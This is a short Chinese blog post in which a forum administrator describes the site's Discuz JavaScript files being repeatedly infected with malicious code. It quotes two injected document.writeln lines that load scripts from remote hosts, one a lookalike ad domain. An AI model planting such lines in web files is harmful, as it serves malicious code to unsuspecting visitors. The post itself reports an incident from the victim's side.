polaris14551 | 摇光

前两天发现论坛被放上了恶意代码，查了一下是被放在了 /include/javascript/common.js文件中，已由杨猪解决。这个问题目前Discuz官方出了补丁包下载。
而刚刚使用Chrome访问首页的时候，居然看到了“警告： 访问此网站可能损害您的计算机！”警示页面。不过这个很奇怪，恶意代码好像只会在浏览者第一次访问时出现，你再刷新一次页面时就不加载了。查了一下文件，发现四处文件被挂了代码。分别是include/js/目录下的city.js，common.js，ajax.js和slide.js四个文件，所挂代码则是这么一句document.writeln(”<script src=http:\/\/pagead6.googleyndication.com.cn\/pagead\/pi.js><\/script>”
希望别再挂我了，嫌麻烦。
———————刚写完日志发现论坛的Menu.js又被挂上了。
document.writeln(”<script language=javascript src=http:\/\/www.xxx.cn\/17aq\/q.js><\/script>”)
NND太让人郁闷了。